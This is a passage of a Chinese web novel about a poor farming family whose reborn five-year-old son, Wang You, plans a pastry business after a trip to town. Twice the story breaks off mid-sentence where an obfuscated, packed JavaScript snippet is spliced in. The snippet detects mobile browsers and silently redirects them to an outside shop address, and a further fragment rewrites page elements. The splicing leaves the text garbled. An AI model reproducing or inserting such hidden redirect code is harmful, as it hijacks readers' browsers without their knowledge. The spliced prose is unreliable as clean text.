但李夫子那双阅人无数、惯于从蒙童稚子歪斜笔画中窥见心性的眼睛,却捕捉到了一丝极难察觉的异样。 李氏端上饭菜时,气氛稍缓。依旧是糙米饭,一碟咸菜,一盘清炒野菜,唯一的荤腥是李氏和着青菜叶煎了一个鸡蛋饼,分成几份,最大的一块理所当然地夹到了李夫子碗里。 饭桌上,李夫子不再提周家之事,只温和地考校了王桃几句功课。王桃应答虽略带紧张,却也条理清晰,尤其提到某些文章理解时,偶尔会下意识地看向小弟王佑的方向,虽然很快移开,但那瞬间的眼神交流,未能逃过李夫子的眼睛。 李夫子捻须听着,偶尔颔首,状似随意地问了一句:“佑哥儿近来可好?在家都做些什么玩耍?” 王老实忙道:“这孩子皮实,就是太静,不爱跟村里娃娃疯跑,就爱自己瞎鼓捣,捡石子,划拉地。” 李氏也接口,带着略带夸耀的抱怨:“可不是,有时候还缠着他大哥二姐问字,问些稀奇古怪的问题,什么田为什么是方的、为什么谷子要晒干了才能存……童言稚语的,也没个章法。” 王杏低着头吃饭,没说话;王树心中微动,面上却如常;王桃则悄悄吐了吐舌头。 李夫子呵呵一笑:“孩童天性,好奇是好事。佑哥儿看来是个爱琢磨的。” 他夹了一筷子野菜,仿佛闲聊般又道,“方才我看他在一旁,不吵不闹,很是乖巧。这般年纪,能如此沉得住气,倒是少见。” 这话说得平淡,却让王老实和李氏心里咯噔一下,两人交换了一个略带慌乱的眼神。 王老实干笑两声:“穷人家的孩子早当家,许是看他爹娘哥姐辛苦,不敢添乱吧。” 李夫子“嗯”了一声,没再追问,转而谈起了秋后院试的一些风向,以及王树接下来需要重点研读的典籍。 但王佑却能感觉到,那道看似已经移开的、属于智者的审视目光,偶尔仍会似有若无地掠过自己。 家人笨拙的掩饰,或许反而加重了夫子的好奇。只是夫子为人正派,且对王家、对王树确有爱护之心,因此才按下不表,没有深究。 饭毕,李夫子漱了口,对王树和王桃道:“院试在秋后,时日看似充裕,实则转瞬即逝。你根基尚需夯实,尤其策论、经世之学,非闭门苦读可成。王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周立文听完管事的回禀,端着青瓷盖碗的手只是微微一顿,脸上并未出现预想中的愠怒或不悦,反而浮起一丝意味难明的浅笑。 “老爷,那王树如此不识抬举,咱们是不是……”周管事试探着问。 “不识抬举?”周立文轻笑一声,摇了摇头,“恰恰相反。这小子,比他那个闷葫芦爹强多了,李元明教得不错。他若是见钱眼开,迫不及待将那二十两银子和笔墨一并收下,我反而要看轻他几分。一个眼皮子浅、轻易被钱财打动的读书人,就算中了秀才、举人,也难有大出息,更易被他人收买。” 他转过身,目光变得幽深:“他只收书,说明他至少明白两点。其一,读书科举才是根本,外力辅助需有所择;其二,他不想,或者说不敢,现在就欠下太大的人情。这份清醒和克制,在他这个年纪,难得。” 周管事似懂非懂:“那咱们……” “咱们什么也不用多做。”周老爷走回书案后坐下,语气恢复了从容,“他收下了书,这就够了。” “一本书而已……”周管事嘀咕。 周立文瞥了他一眼,微微眯起眼睛:“这可不是普通的书,这比二十两银子重得多。银子花了就没了,书却能助他叩开通往秀才的大门。他心里清楚这本书的价值。接受了,便是承了情分,也默认了对他学业的支持。。” 周管事恍然:“老爷是说,只要他用了这本书,念着这份好……” “不错。”周立文颔首,“院试在即,他必会仔细研读此书。书中的批注、指点,会潜移默化地影响他的文风思路。届时他若得中秀才,饮水思源,即便嘴上不说,心中能丝毫不念及我周家赠书之情?同窗师长问起备考心得,他能绝口不提此书?” 他顿了顿,语气笃定:“读书人重名节,也重恩义。我们如今施恩于他微末之时,要的是他日后的不忘,而非眼前的报答。只要这条线牵上了,就不怕他将来飞高了,断了线。” “那万一……他院试不中呢?”周管事想到另一种可能。 周立文神色不变:“即便这次不中,他仍是十三岁的童生,潜力仍在。这次投资,成本不过一部书,于我而言无足轻重。但若中了秀才,他才算真正有了被投资的资格。现在这点好意,不过是提前结个善缘,铺块垫脚石罢了。” 他重新端起茶碗,语气悠然:“至于银钱的好处……不急。等他真中了秀才,自然就会明白,光有书本学问是不够的。维持体面、结交同窗、打点衙门、甚至之后赴考秋闱……哪一样不需要银钱开路?到那时,他自会知道,谁才是能给他提供这些助力的人。” “他若一直清高,不肯要呢?”周管事还是有些担心。 周立文笑了,那笑容里带着洞悉世情的从容与一丝淡淡的嘲弄:“清高?那也要有清高的本钱。” 周管事彻底明白了,心悦诚服:“老爷深谋远虑,小人不及。” “下去吧。王家那边,不必再刻意接近,但也需留意动向,尤其是王树的学业进展。” “是。”周管事躬身退下。 周立文独自坐在灯下,嘴角笑意更深。 23. 王佑第一次前往乡镇 日子在等待与日常的劳作中,又滑过去几日。王老实依旧每日下地,李氏操持家务,喂养鸡鸭,但二人眉眼间的愁绪并未彻底散去。 王佑深知接受了周家的书,是为了大哥高中,如果大哥考中秀才,以后需要打点的人情世故更多,家中给不了大哥任何支持,更不能与周家彻底绑定。他开始思考如何赚钱,化肥?提高产量?不可能,那些原材料也不易收集,哪怕收集到了他能做出来,但这种事一传开,他不敢想象后果。 他开始更黏人地跟着大姐。王杏洗衣,他就在河边捡拾光滑的鹅卵石;王杏摘菜,他就在菜畦边观察虫子;王杏做针线,他就安静地坐在一旁,看似发呆,实则目光从未离开过那些布料、针线和姐姐渐渐恢复灵巧的手指。 偶尔,他会用充满好奇却不惹人厌烦的语气提问: “大姐,镇上的布铺,都是这样的粗布吗?有没有更软、更滑的?” “大姐,工坊里的姐姐们,除了纺纱,还做别的活计吗?比如绣花?” “镇上除了卖粮卖布卖药,还有什么铺子呀?有没有……专门帮人写字算账的地方?” 他的问题东一榔头西一棒槌,王杏起初只是简单回答,后来见他听得认真,便也慢慢多说几句。 王佑的心中,一个模糊的计划渐渐成形。他需要亲自去看看,用这双来自信息爆炸时代的眼睛,去观察这个时代城镇经济的毛细血管,寻找那个可能适合他们这种家庭介入的缝隙。 他知道直接提去镇上,父母多半不会同意,尤其是周家之事刚过,家里对外出格外敏感。他需要一个合理的借口,和一个可靠的监护人。大姐无疑是最合适的人选,她对镇上相对熟悉。而且,王佑能感觉到,她对外出有一些抗拒,但也有一丝被需要的渴望。或许,一次有目的的出行,能帮助她进一步重建与外界连接的能力和自信。 这天傍晚,一家人围坐吃饭时,王佑放下碗,用小手揉了揉眼睛,小脸上露出些微苦恼的神色。 “佑儿,怎么了?”李氏立刻关切地问。 “娘,我的小枕头破了,里面的谷壳老是漏出来,扎脖子。” 王老实看了一眼:“让你娘给你缝缝。” 李氏也发愁:“缝了好几次了,布料都糟了,一碰又破。家里实在找不出像样的软布了,都是粗麻,做枕头太硬。” 王佑眨巴着眼睛,看向王杏:“大姐,你上次不是说,镇上的布庄有时候会有便宜的布头,或者瑕疵布卖吗?咱们能不能……去买一点?不用多,就够给我缝个小枕头的就行。” 他顿了顿,又补充道,“家里盐好像也不多了。” 王杏闻言,身体微微僵硬了一下。 王老实和李氏对视一眼,都有些犹豫。让王杏带着王佑去镇上?王杏的状态他们看在眼里,虽然好了很多,但…… 王佑低下头,小声道:“要是爹娘不放心,就算了……我用旧衣服垫垫也行……” 他这副懂事又委屈的小模样,让李氏心头发软。她看了看沉默不语的丈夫,又看了看低着头、指尖发白的女儿,叹了口气:“他爹,要不……就让杏儿带佑儿去一趟?买点盐,再看看有没有便宜的布头。杏儿认识路,佑儿也乖,快去快回,晌午前就能回来。” 王老实看着小儿子期待的眼神,又看看大女儿紧绷的侧脸,最终闷声道:“早去早回,别往人多的地方扎堆,买了东西就回来。钱……” 他起身走进房间,从床席底下摸出一个小小的的荷包,递给王杏,“省着点用。” 王杏接过荷包,目光与弟弟清澈而信赖的眼神相遇,心中的惶恐似乎被冲淡了一丝。 她用力点了点头:“嗯,爹,娘,放心。” 王佑心里悄悄松了口气。 第二天一早,天刚蒙蒙亮,王杏便带着王佑出发了。王杏换上了她最干净的一身旧衣,头发梳得整整齐齐。王佑则被李氏用湿布仔细擦了脸和小手,穿上了虽旧却浆洗得干干净净的小褂子。 姐弟俩沿着尘土飞扬的土路,向着镇子的方向走去。王杏起初走得很快,目不斜视,仿佛只想尽快完成任务。王佑迈着小短腿努力跟着,并不抱怨,只是偶尔会指着路边的野花或田里不同的庄稼,问一些天真无邪的问题,慢慢分散着王杏的紧张。 随着镇子的轮廓越来越清晰,王杏的步伐渐渐慢了下来,呼吸也有些急促。王佑适时地拉住姐姐的手,小手温热:“大姐,我们先去买盐和布头,然后……我能看看别的铺子吗?就看看,不进去。” 王杏感受着手心传来的温度,看着弟弟亮晶晶的眼睛,那份因重回旧地而升起的窒息感,似乎被这小小的依赖冲开了一道口子。她点了点头,声音干涩:“好,看两眼就走。” 踏入镇子,王杏的身体瞬间绷紧,下意识地想低头缩肩。王佑却紧紧攥着她的手,小脑袋好奇地左顾右盼,目光清澈而坦然地迎向那些扫过来的视线。 他们先去了杂货铺,买了最粗劣的一小包盐。然后,王杏熟门熟路地绕到布庄后巷,那里果然堆着一些处理布头。王杏仔细地翻拣着,挑了几块质地稍软的棉布头,足够给王佑缝个新枕头套。讨价还价后,只花了五个铜钱。 主要任务完成,王杏松了口气,便想拉着弟弟回家。王佑却摇着她的手,指着主街的方向:“大姐,刚才不是答应我去其他地方看看吗?那边好热闹,我们过去看一眼,就一眼,好不好?我想看看药铺是什么样子,上次你卖天麻的地方……” 提到卖天麻,那是王杏带着正面记忆的镇上经历。她看着弟弟期盼的眼神,终于点了点头,但紧紧拉着王佑的手,避开了人最多的街心,沿着街边慢慢走。 王佑的目光,快速而隐蔽地掠过一家家店铺: 粮行:伙计大声吆喝,掌柜的坐在柜台后拨弄算盘,墙上贴着新米陈米的不同价牌。有农 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960766|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民扛着粮食进去,出来时手里攥着寥寥铜钱,脸上多是愁苦。 布庄:店面光鲜,绫罗绸缎挂在显眼处,但顾客寥寥。 济世堂药铺:门面古朴,药香弥漫。坐堂郎中须发皆白,正在给一个妇人诊脉。柜台后的伙计认得王杏,还对她点了点头。王佑注意到,药铺不仅收药材,也代客煎药,柜台一角还摆着些成包的‘辟瘟散’、‘健胃丸’之类的常见成药。 铁匠铺:叮当之声不绝,火光映红人脸。主要打造农具、菜刀、铁锅等实用器皿。 杂货铺:货物琳琅满目,从针头线脑、油盐酱醋到劣质的胭脂水粉、小孩玩具,一应俱全,但都是最低档的货色。 茶馆兼代写摊:一个穿着半旧长衫的老秀才,坐在茶馆外的角落里,面前摆着笔墨纸砚和一块‘代写书信、契约、呈文’的木牌,正给一个口述的农妇写着家书,旁边等着两三个人。 王佑看得仔细,心中却渐沉。这些生意,要么需要大量本金,要么需要特殊技艺或官方许可,要么市场饱和利润微薄。那个代写摊,看起来成本最低,但收入极不稳定,养家尚且艰难。 没有低门槛、适合他们这种家庭且能快速赚点小钱的缝隙。难道只能指望田里那点产出,或者像上次一样撞大运挖到珍贵药材? 就在王佑心中盘算,准备再观察一下那些街边流动的小吃摊或手艺摊时,他的目光忽然被不远处一个不太起眼的摊位吸引了。 那是一个卖 ‘巧酥’ 的摊子。摊主是个头发花白的老婆婆,面前摆着个简易炉子,一口小铁锅,旁边盆里装着掺了芝麻和糖稀的面团。老婆婆手法娴熟,揪一小团面,在手里快速□□几下,放入一个有着各种花鸟鱼虫凹刻的木头模具里一压,再磕出来,便是一个个造型精巧、只有小孩巴掌大小的酥饼胚子,放入抹了少许油的铁锅里,小火慢烙,不一会儿就香气四溢,颜色金黄。 王佑看着那木头模具压出的各种造型,看着那简单却需要手艺的製作过程,再看看摊前虽然不多但确实存在的顾客,尤其是那些被吸引的孩子和偶尔愿意花两三个铜板满足孩子的父母…… 或许……不一定需要发明什么超越时代的东西。将已有的东西,做得更精致一点点,更吸引人一点点,或者,找到更便宜的材料替代方法? 这巧酥的生意,本小利微,但似乎正是镇上贫苦人家也能偶尔消费得起的零嘴。 如果…… “佑弟,看够了么?我们该回去了。”王杏轻轻拉了他一下,语气里带着不易察觉的催促。她在镇上待得越久,越觉得不安。 王佑收回目光,压下心中的激动,乖巧地点点头:“嗯,大姐,我们回家。” 回程的路上,王佑比来时安静了许多,小脑袋里却在飞速运转。巧酥……模具……造型……成本……可能的改进……大姐的手巧……家里的条件…… 他需要一个试验的机会。 24. 万事俱备,只欠东风 回到家中,那巧酥摊子的小小火光,在王佑脑海中反复灼烧,催促着他做点什么。 吃午饭时,王佑状似无意地提起:“爹,我今天在镇上,看到有个婆婆用木头刻出的小猫小狗模子,压出来的饼子可好看了,还能卖钱呢。” 王老实正闷头喝粥,没太在意:“那是人家吃饭的手艺。” 王佑眼睛亮晶晶地看向王老实:“爹,你会刻模子吗?” 王老实停下筷子,皱着眉看了一眼小儿子:“那模子是那么好刻的?都是老手艺人的吃饭家伙,不外传的。再说了,刻那玩意儿费时费力,有那功夫,不如多编几个筐实在。” 王佑换了个方式,带着点撒娇和好奇:“爹,你就试试嘛,不用刻小猫小狗,刻个……刻个简单的花儿,或者方方的带花边的格子也行!我想看看木头是怎么变成模子的。” 他跳下凳子,跑到墙角的柴火堆里,捡了一块大小合适、木质细密的边角料,献宝似的捧到王老实面前,“爹,用这个!” 王老实被小儿子缠得没法,叹了口气,接过木头和柴刀。 然而,理想很丰满,现实却很骨感。王老实的手,是抡锄头、握柴刀、编筐篓的手,有力,稳当,擅长的是破坏性的砍劈和规整性的编织,却唯独缺乏精细雕刻所需的耐心、巧劲和审美。他对着那块木头比划了半天,最终下刀,结果刻出来的线条歪歪扭扭,最简单的四瓣花,却成了个不规则的凸起疙瘩,别说压出好看的花纹,能不把面团黏住就算不错了。 王佑看着父亲手中那惨不忍睹的作品,小脸上的期待一点点垮了下来。心里那刚刚燃起的希望火苗,却被这盆冷水浇得奄奄一息。 王老实也有些讪讪,把木头和柴刀放下,粗声说:“看吧,爹就不是干这个的料。别瞎琢磨了,好好吃饭。” 饭桌上的气氛一时有些沉闷。 王佑低着头,心念急转。模具是巧酥计划的核心,没有合格的模具,一切免谈。难道就这么放弃?他不甘心。大哥科举之路需要钱,而家里给不了。 一个念头冒了出来,找专业人士。他抬起小脸,目光在父母和姐姐脸上缓缓扫过,声音带着一种前所未有的认真:“爹,娘,大姐,我不是瞎琢磨。” 三人闻言,都停下动作,看向他。 王佑组织着语言,尽量用他们能理解的方式说道:“大哥考中了童生,还要考秀才,要花很多钱。周家送书,不是白送的。咱们家不能总指望别人好心,也不能总等着地里那点收成。我想……咱们自己试试,能不能挣点小钱。” 他指向那块被父亲刻坏的木头:“镇上卖巧酥的婆婆,生意不算特别好,但总有小孩和爹娘愿意买一两个。我在想,要是咱们能做出又好看又好吃的巧酥,不用多,每天卖出去一些,是不是就能给大哥攒下点笔墨钱,或者贴补家用?” 王老实和李氏都愣住了,半张着嘴,看着幼子。一个五岁的孩子,竟然在琢磨怎么赚钱养家、支持兄长科举? 王杏更是瞪大了眼睛,手指无意识地蜷紧。 “可是……爹刻不好模子。”王老实讷讷道,语气里带着一些愧疚和无力。 “爹,你认识的人多,咱们这十里八乡,有没有人会这门手艺?刻得好的?” 王老实拧眉思索起来,李氏也帮着想:“好像……是听说刘家村有个刘木匠,早年不光会做家具,还会雕花,给庙里刻过窗棂,手艺是出了名的细。不过年纪大了,早就不怎么做活了。” 王老实眼睛一亮:“对!刘老哥!他比我大十来岁,早年我给他家帮过工,他这人手巧,人实在。他要是肯出手,刻几个小模子应该不难。” 但问题请人雕刻,需要工钱,王老实和李氏顿时眉头紧皱。 王佑看出了父母的为难,他早就想好了说辞:“爹,娘,咱们不用请刘爷爷白干活。咱们可以……用东西换。或者,咱们以后把做出来的巧酥,定期送过去给刘爷爷尝尝?” 王老实和李氏对视一眼,都看到了对方眼中犹豫。幼子这主意,听着异想天开,可细细一想,又似乎有那么点道理。关键是,幼子这份为家打算的心,沉甸甸地压在他们心上,让他们无法轻易说出‘不行’两个字。 沉默良久,王老实像是下了很大决心:“成!爹下午就带你去刘家村,找刘老哥问问!成不成,总得试试!” 李氏也点了点头,摸了摸王佑的头:“你这孩子……” 王佑心中一松,但还有一个要求:“爹,让大姐也一起去吧。” 他看向王杏:“大姐见过镇上的巧酥,知道什么样儿好看,也能跟刘爷爷说说。而且……大姐也需要多出去走走。” 王杏身体一颤,看着弟弟清澈而鼓励的眼神,又看看父母,最终,轻轻“嗯”了一声。 午后,稍微歇息片刻,王老实便带着王佑和王杏出发了。王佑坚持带上了父亲刻坏的那块木头,还有他偷偷用烧黑的树枝在旧布上画下的几个简单草图。 刘家村离王家村不远,但也要走小半个时辰。一路上,王老实反复叮嘱一双儿女到了人家要懂礼貌,别乱说话。王佑乖巧应着,王杏则默默点头。 到了刘家村,打听着找到刘木匠家。那是一个比王家稍大些的院子,堆放着不少木材边角料。一个头发花白、精神却还算矍铄的老者,正坐在院中阴凉处慢悠悠地刨着一根木条。 “刘老哥!”王老实远远便打招呼,脸上挤出憨厚的笑容。 刘木匠抬起头,眯着眼看了半天,才认出人来:“哦,是王家村的王老弟啊,稀客稀客,怎么有空过来?” 王老实带着儿女上前,有些局促地说明了来意。 刘木匠听完,没立刻答应,他接过那块木头看了看,又抖王佑画着花纹的开旧布,看着上面稚嫩却特征明显的图画,浑浊的老眼里闪过一丝讶异。 “这是谁画的?”他问,目光扫过王老实,显然不认为是他。 王老实连忙把王佑往前推了推:“是我家幼子瞎画的。” 刘木匠看向王佑,他站在那儿,不躲不闪,眼神清亮,虽有些紧张,却无惧色。 “你想刻这样的模子?”他指着布上的画问。 王佑点点头,脆生生地回答:“刘爷爷,我想刻出来,让大姐学着做巧酥。镇上婆婆做的花样太简单。我觉得梅花、小鱼和福字,大家会更喜欢。” 他顿了顿,补充道:“要是刘爷爷能帮我们刻,等我们做出来了,第一个就送给刘爷爷吃!” 刘木匠沉默了一会儿,拿起那块刻坏的木头,又看了看王佑画的花样,忽然问道:“这福字笔画这么细,压饼子的时候,面容易堵住,不好脱模。小鱼的眼睛,这么小一点,刻起来费劲,也容易坏,你想过没有?” 王佑一愣,他光想着好看,确实没考虑到工艺实现的难度和实用性。他老实地摇摇头:“没有。刘爷爷,那该怎么办?” “要改。笔画要加粗,空隙要留够。小鱼眼睛可以不用单独刻透,留个浅浅的凹坑就行,靠烙的时候上色显出轮廓。梅花花瓣之间的缝隙也要注意……” 他一边说,一边拿起旁边一块小木片和一把小巧的刻刀。只见他手腕沉稳,刀锋游走,寥寥几下,一个‘福’字轮廓就出现了。 王佑看得眼睛发亮,他画的是‘效果图’,刘木匠改的是‘工程图’! “刘爷爷,您真厉害!”王佑由衷地赞叹。 刘木匠哼了一声,眼中却闪过一丝得意。他放下刻刀,看了看王老实一家期盼的眼神,最终说道:“行吧。看在你家小子有点想法,王老弟你也是个实在人的份上。木头我这里有边角料,比你这个好。花样我再改改,不要你们钱,也不要你们做出第一个巧酥就送过来。” “那怎么行……”王老实急了。 刘木匠摆摆手:“我年纪大了,吃不动多少,我就一个要求。” 他看向王佑,目光深邃:“这模子刻好了,你们若真做成了巧酥去卖,不管卖得好坏,逢年过节,记得给我这老头子送两个,让我知道,我这老手艺刻出来的东西,还有人用着,这就行了。” 王老实眼眶一热,连连点头:“一定!一定!多谢刘老哥!” 王佑也郑重地点头:“刘爷爷,我们一定记得!” 王杏也深深鞠了一躬。 刘木匠挥挥手:“三天后来拿吧,我按着改好的图样刻,保准比镇上的模具更好。” 走出刘家院子,一家三口觉得脚步都轻快了不少,没想到事情这么顺利。 回到家,李氏听了经过,对着刘家村方向念叨了好几声“好人”。 但光有模具远远不够,王佑前世虽不是厨艺高手,但基本的逻辑是懂的。食品要成功,无非是配方、工艺、火候。配方和工艺可以试验改进,但火候的稳定控制,是基础中的基础。 他看着家里那个主要用于煮猪食和偶尔蒸干粮的土灶,还有那个架在几块砖头上、用来炒菜的小灶眼,摇了摇头。这两个都不行。土灶火势难调,费柴;小灶眼火力集中,容易焦糊。他需要一个火力均匀可控的简易炉子。 这个,或许父亲能帮忙。 第二天,王老实下地回来。王佑端了碗水过去,等父亲喝完,才指着院角堆着的一些碎砖和废弃的土坯块,用试探的语气说:“爹,要是咱们自己做巧酥,是不是得有个火力均匀分布的炉子?我看镇上婆婆用的炉子,小小的,火不旺也不弱,正好烙饼。” 王老实想了想,点点头:“是得有个合用的家伙什儿。” 他是个行动派,歇够了气,便起身走过去,蹲下身子开始扒拉那些以前修葺院墙剩下的砖块土坯。 王佑心中一喜,跟过去在旁边看着。王杏连忙去打水和泥。王老实虽不懂幼子说的‘火力均匀分布’,但他对如何让火‘着得好’、‘散得开’有着朴素的实践经验。 他挑拣着大小合适的砖块,他一边垒,一边涂抹泥浆,一边自言自语似的解释:“底下要空,好进风,柴火才旺;中间要拢着点,火头往上走;上面口不能太大,不然火苗舔着锅边,中间不热……” 像是在说给儿子听,也像是在理顺自己的思路。 王佑认真听着,心中暗赞。劳动人民的智慧,往往就体现在这些最朴实无华的细节里。 炉子的雏形很快出现,是个不到膝盖高、敦实可爱的圆柱形小砖炉。王老实又去柴房翻出一块大小合适的薄石板,磨平了边缘,盖在炉子顶端,作为放置铁锅的稳定台面。 “成了!”王老实退后两步看了看自己的作品,颇有些满意。 “爹真厉害!”王佑适时地送上夸赞,小脸上满是崇拜。 夏日泥浆干的很快,王老实来了兴致抱些细柴来 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李氏开始琢磨面糊的配方。巧酥,顾名思义,要酥脆。镇上的做法,多用面粉掺少许芝麻和糖稀。但糖稀和芝麻金贵,家里哪舍得多用。李氏尝试着用一点点猪油代替部分糖稀,增加酥脆感;又试着掺入一点点炒香碾碎的黄豆粉代替芝麻,增加香气和口感层次。王杏则帮着和面、试火候,母女俩在新建的小炉子前,烙出了一块又一块试验品。 有的太硬;有的太软;有的火大焦了;有的夹生……这些试验品都成了他们这两日的食物。但每一次失败,都让她们离成功更近一步。 终于在第三天早上,李氏烙出了几个色泽金黄,咬下去满口炒豆香的改良巧酥!虽然和镇上的口味不完全一样,但别有风味,更重要的是,成本更低! 王杏尝了一口,眼睛都亮了:“娘,这个好吃!” 王佑也掰了一小块放进嘴里,仔细品了品,酥、香、微甜,口感丰富。他用力点头:“嗯!太香了!” 李氏擦了擦额头的汗,脸上带着成就感的笑容。 下午,王老实如约带着王佑和王杏再次前往刘家村。这一次,他们带上了几块李氏今早做得最成功的巧酥,用干净荷叶仔细包好。 刘木匠见到他们,也不多话,从屋里拿出了两个用布包着的东西。打开一看,王佑的眼睛立刻亮了! 那是两个巴掌大小的长方形木块,木质细腻温润,显然是精心挑选过的。木块的一面,平整地雕刻着凹下去的花纹。一个是线条流畅、饱满圆润的‘福’字,笔画经过优化,既有书法韵味,又保证了足够的空隙,易于脱模;另一个则是两条首尾相连、灵动活泼的小鱼,鱼鳞用细密的斜线浅浅刻出,鱼眼是巧妙地用锥子点出的两个小凹坑,栩栩如生。雕刻的刀工精湛,线条清晰,深浅得当,比王佑画在布上的草图不知高明了多少倍! “刘爷爷,您刻得太好了!”王佑小心翼翼地用手指抚过那些光滑的凹槽。 刘木匠眼中却带着满意,他将模具递给王老实:“试试吧。木料我处理过,不容易裂,也耐烫。用完记得擦干,别泡水。” 王老实连连道谢,将带来的巧酥奉上:“刘老哥,这是家里试着做的,您尝尝,给提提意见!” 刘木匠也不客气,拿起一块,掰开看了看断面,又放进嘴里细细咀嚼,半晌,点了点头:“嗯,酥脆,香,甜味淡了些,但正好。你们这手艺,可以了。” 能得到老手艺人的肯定,王老实和王杏都松了口气,脸上露出笑容。 刘木匠话锋一转,看向王佑,“花样有了,手艺有了,炉子也有了。接下来,你们打算去哪儿卖?怎么卖?” 这个问题,像一盆冷水,让沉浸在喜悦中的父女二人瞬间清醒。 是啊,做好了,卖给谁?怎么卖?会不会没人买? 王佑早有思考,此刻被问及,便用孩童天真的语气说道:“咱们在村里,或者去附近几个村子的村口。不用摆摊,大姐用个篮子提着卖。” 他想的是,先从最熟悉、相对安全的环境开始,降低王杏的心理压力,也试探市场反应。 刘木匠听了,看了王杏一眼,见她虽然紧张,却并没有退缩之意,点了点头:“这法子稳妥。记住,刚开始别贪多,别卖贵,混个脸熟,赚个口碑。” 他顿了顿,又补充道:“要是真觉得行,以后想去镇上,别去主街跟人抢地盘。找那些小巷子口,或者集市外围,支个小凳就行。镇上的巡街差役,有时候会收地皮钱,不多,一两个铜板,但得知道这个规矩,备着点。” 这是宝贵的经验之谈,王老实和王杏都郑重记下。王佑更是心中感激,刘木匠这番话,等于给他们这蹒跚学步的小生意,又铺了一小段路。 带着模具和刘木匠的叮嘱,王家三人满怀希望的踏上了归途。 回到家,王佑几乎是迫不及待地想用新模具尝试第一次正式制作。王杏将和好的面剂子填入福字模,轻轻一压,磕出来,一个边缘清晰、图案吉祥的面饼胚子便出现在案板上。放入抹了薄油、预热好的小铁锅,小火慢烙。不多时,独特的焦香混合着豆香便弥漫开来。 烙好的福字巧酥,图案清晰,色泽金黄,比李氏之前徒手捏的形状不知规整好看多少倍! 李氏高兴得合不拢嘴,连连说:“这模子真是好东西!杏儿,你手真巧!” 25. 第一次大获成功的营生 李氏和王杏起得比鸡鸣还早,将做好的一批巧酥仔细点好,一共二十五个,用干净的白粗布盖着,放进一个编得细密的竹篮里。 王杏看着竹篮里的巧酥,脸色却有些苍白,嘴唇抿得紧紧的,手指无意识地绞着衣角,眼神里满是不安。 这比她第一次去镇上卖药时还要紧张百倍,卖药是办事,有明确的目标和路径;而卖东西,意味着要主动与人打交道,要吆喝,要应对未知的眼光和反应,这对她而言,无异于酷刑。 王佑也起来了,穿戴整齐,走到姐姐身边,伸出小手拉住她冰凉的手指,仰着小脸,眼神清澈而坚定:“大姐,别怕,我陪你去。” 王杏看着弟弟,那小小的手掌传来的温热,像是一点微弱的火苗,勉强驱散了些许寒意。她用力点了点头,深吸一口气,像是要奔赴战场。 王老实蹲在门槛上抽烟,看着女儿这副样子,想说点什么,最终只是嘴唇动了动。 李氏则反复叮嘱:“别怕,都是村里人,问什么就答什么,不买就算了,千万别跟人争……” 姐弟俩走出院门,朝着村口那棵枝繁叶茂、村民常聚的老槐树走去。清晨的村庄还很安静,只有炊烟袅袅和零星的鸡鸣犬吠。 到了老槐树下,此时还没有什么人。王杏抱着竹篮,站在树影里低着头,不知该如何开始。 王佑左右看看,从地上捡来几块平整的石头,垒成一个小台子,然后示意姐姐将竹篮放在上面。摆出一叠干净的树叶,再拉开盖布一角,露出里面金黄酥脆的巧酥,排列得整整齐齐。 食物的香气很快在清晨微凉的空气中飘散开去。 第一个被香气吸引过来的,是住在村口附近的王老汉,他正背着手要去田里看水。他吸了吸鼻子,循着味道走过来,看见树下的王杏和王佑,以及他们面前竹篮里的东西,有些惊讶:“杏丫头,佑儿哥,你们这是……” 王杏的脸腾地红了,张了张嘴,却发不出声音。 王佑立刻扬起笑脸,脆生生地喊道:“铁爷爷早!我娘和我大姐新做的巧酥,可香了,您尝尝!” 说着,不等王老汉反应,他已经麻利地从篮子里拿起一个福字巧酥,掰下一角递了过去,动作自然流畅,带着让人难以拒绝的热情。 王老汉愣了一下,看着递到面前的巧酥,又看看王佑那双亮晶晶、满是期待的眼睛,下意识地接了过来,放进嘴里咬了一口。 “嗯?”王老汉眼睛一亮,“酥!香!还有点豆子味儿?不错啊,比镇上买的那个不差,还不那么甜腻。” 得到肯定,王佑笑得眼睛弯成了月牙:“是吧!我娘和我大姐琢磨了好久呢!一个才卖一个铜板,铁爷爷,您要带两个回去给奶奶尝尝吗?” 王老汉嚼着嘴巴,看着篮子里确实精巧,吃着也香,关键是价格比镇上还便宜的巧酥。他摸了摸怀里,掏出两个铜板,递给王佑:“成,给我拿两个福字的,图个吉利。” “好嘞!”王佑欢快地应着,小心翼翼地用树叶包了两个巧酥,递给王老汉,又仔细地将两个铜板放进王杏腰间的荷包里。 第一笔生意就这么成了,虽然只有两个铜板,却像一道强心针,让王杏苍白的脸上恢复了一丝血色。她看着弟弟从容应对的样子,心中的惶恐似乎被这小小的成功冲淡了一点点。 渐渐地,去田里干活、或是在附近溜达的村民多了起来。看到老槐树下这‘奇景’,都好奇地围拢过来。 “老王家的?卖啥呢这是?” “巧酥?看着挺像样啊!” “杏丫头,你做的?” 每一次被问及,王杏都紧张得手心出汗,想要开口,声音却堵在喉咙里。 这时,王佑就会像一只灵活的小雀儿,拉着姐姐的手,主动迎上去,用他那童稚清脆的嗓音,一个个打招呼: “刚婶早!是我娘和大姐做的巧酥,新花样,可好吃了,您尝尝?” “牛伯伯,下地啊?尝尝我们的巧酥,垫垫肚子!” “沉爷爷,您牙口好,尝尝这个。” 他几乎记住了村里每一个常见面孔的称呼,态度热情又不惹人厌烦。每当有人表现出兴趣,他就会像对待王老汉那样,大方地掰开一角巧酥让对方先尝。 俗话说吃人嘴短,尝了这免费的一口,又见他姐弟俩一个腼腆一个机灵,东西也确实不错,价格更是公道,大多数村民都愿意掏出一两个铜板,买上一两个,或是给孩子解馋,或是自己尝尝鲜。 